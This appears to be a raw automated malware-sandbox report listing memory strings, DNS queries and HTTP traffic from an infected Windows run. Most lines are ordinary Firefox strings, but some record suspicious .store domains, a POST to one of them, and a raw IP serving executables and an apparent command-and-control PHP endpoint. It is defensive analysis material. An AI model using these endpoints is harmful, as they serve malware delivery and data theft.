Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'oncommand=secondarybuttoncommand,label=secondarybuttonlabel,accesskey=secondarybuttonaccesskey,hidden=secondarybuttonhidden,dropmarkerhiddenUpdateService:_selectAndInstallUpdate - update not supported for this system. Notifying observers. topic: update-available, status: unsupportedUpdateService.canUsuallyCheckForUpdates - unable to automatically check for updates, the option has been disabled by the administrator.https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/UpdateService:_postUpdateProcessing - removing downloading patch because we installed a different patch before it finisheddownloading. equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'oncommand=secondarybuttoncommand,label=secondarybuttonlabel,accesskey=secondarybuttonaccesskey,hidden=secondarybuttonhidden,dropmarkerhiddenUpdateService:_selectAndInstallUpdate - update not supported for this system. Notifying observers. topic: update-available, status: unsupportedUpdateService.canUsuallyCheckForUpdates - unable to automatically check for updates, the option has been disabled by the administrator.https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/UpdateService:_postUpdateProcessing - removing downloading patch because we installed a different patch before it finisheddownloading. equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.3200842852.0000021D5C4B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3200842852.0000021D5C4B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3186032773.0000021D5BCDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3200842852.0000021D5C4B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.3186032773.0000021D5BC9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3186032773.0000021D5BCDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56C25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56C25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001F.00000002.3188573044.0000021D5BD0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.w3.org/1999/xhtmltooltiptext=pickertooltiptextaccesskey,crop,dragover-top,wrapbrowser.ui.interaction.keyboardhttps://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.3200842852.0000021D5C4B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3186032773.0000021D5BCDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3200842852.0000021D5C4B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.3186032773.0000021D5BC9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3186032773.0000021D5BCDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3186032773.0000021D5BCDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: ponintnykqwm.shop
Source: global traffic	DNS traffic detected: DNS query: seallysl.site
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: firefox.exe, 0000001F.00000002.3189282496.0000021D5BE03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: d816f1d41e.exe, 0000000E.00000003.3077887058.00000000006C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: d816f1d41e.exe, 0000000E.00000003.3077887058.00000000006C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/?
Source: d816f1d41e.exe, 0000000E.00000003.3077887058.00000000006C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000003.2223014906.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.3077401417.0000000005123000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.3077989614.000000000511F000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.3079155574.0000000005128000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.3077401417.000000000511E000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.3077887058.00000000006C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: d816f1d41e.exe, 0000000E.00000003.3077887058.00000000006C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe?)
Source: d816f1d41e.exe, 0000000E.00000003.3077887058.00000000006C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee
Source: d816f1d41e.exe, 0000000E.00000003.3077401417.0000000005123000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: f324957d91.exe, 00000010.00000002.2891046644.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: f324957d91.exe, 00000010.00000002.2891046644.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, f324957d91.exe, 00000010.00000002.2891046644.00000000015F3000.00000004.00000020.00020000.00000000.sdmp, f324957d91.exe, 00000010.00000002.2891046644.000000000160E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: f324957d91.exe, 00000010.00000002.2891046644.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, f324957d91.exe, 00000010.00000002.2891046644.000000000160E000.00000004.00000020.00020000.00000000.sdmp, f324957d91.exe, 00000010.00000002.2891046644.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: f324957d91.exe, 00000010.00000002.2891046644.000000000160E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php%
Source: f324957d91.exe, 00000010.00000002.2891046644.000000000160E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/o
Source: f324957d91.exe, 00000010.00000002.2891046644.000000000160E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php1
Source: f324957d91.exe, 00000010.00000002.2891046644.000000000160E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpy
Source: f324957d91.exe, 00000010.00000002.2891046644.00000000015F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/8P
Source: f324957d91.exe, 00000010.00000002.2891046644.000000000160E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/B
Source: f324957d91.exe, 00000010.00000002.2891046644.000000000160E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/P
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: file.exe, 00000000.00000003.2108131234.0000000005A7D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2864433763.0000000005159000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2108131234.0000000005A7D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2864433763.0000000005159000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57EC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: powershell.exe, 0000000D.00000002.2810444429.0000000007B94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mi
Source: powershell.exe, 0000000D.00000002.2810444429.0000000007B94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: file.exe, 00000000.00000003.2108131234.0000000005A7D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2864433763.0000000005159000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2108131234.0000000005A7D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2864433763.0000000005159000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2108131234.0000000005A7D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2864433763.0000000005159000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2108131234.0000000005A7D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2864433763.0000000005159000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2108131234.0000000005A7D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2864433763.0000000005159000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001F.00000002.3166689700.0000021D5AA44000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3191716971.0000021D5BF2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3141634658.0000021D56248000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001F.00000002.3163455413.0000021D5A355000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001F.00000002.3194476201.0000021D5C2FD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3158800052.0000021D584CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001F.00000002.3194476201.0000021D5C2FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4(
Source: firefox.exe, 0000001F.00000002.3194476201.0000021D5C2FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001F.00000002.3213038233.0000021D5CD58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 0000001F.00000002.3213038233.0000021D5CD58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 0000001F.00000002.3134078265.0000021D4AAEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 0000001F.00000002.3134078265.0000021D4AAEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 0000001F.00000002.3134078265.0000021D4AAEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#-
Source: firefox.exe, 0000001F.00000002.3134078265.0000021D4AAEA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3210405021.0000021D5C9CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.3033773145.0000021D5C9CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 0000001F.00000002.3174946881.0000021D5B1DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3168169103.0000021D5AD3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3168169103.0000021D5AD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3178863404.0000021D5B309000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3174946881.0000021D5B1EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3178233684.0000021D5B25C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3166689700.0000021D5AA44000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3163455413.0000021D5A31A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2963499868.0000021D5B334000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3168169103.0000021D5AD06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.3001239818.0000021D629AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3141634658.0000021D56248000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3162076489.0000021D5A1D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3172917844.0000021D5B08E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2968281051.0000021D5B1C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3167223156.0000021D5AB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: powershell.exe, 0000000B.00000002.2846727844.000000000604F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2807610626.00000000063C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: file.exe, 00000000.00000003.2108131234.0000000005A7D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2864433763.0000000005159000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2108131234.0000000005A7D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2864433763.0000000005159000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: powershell.exe, 0000000D.00000002.2799753710.00000000054B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57EC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: powershell.exe, 0000000B.00000002.2835914983.0000000005145000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2799753710.00000000054B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 0000000B.00000002.2835914983.0000000004FF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2799753710.0000000005361000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
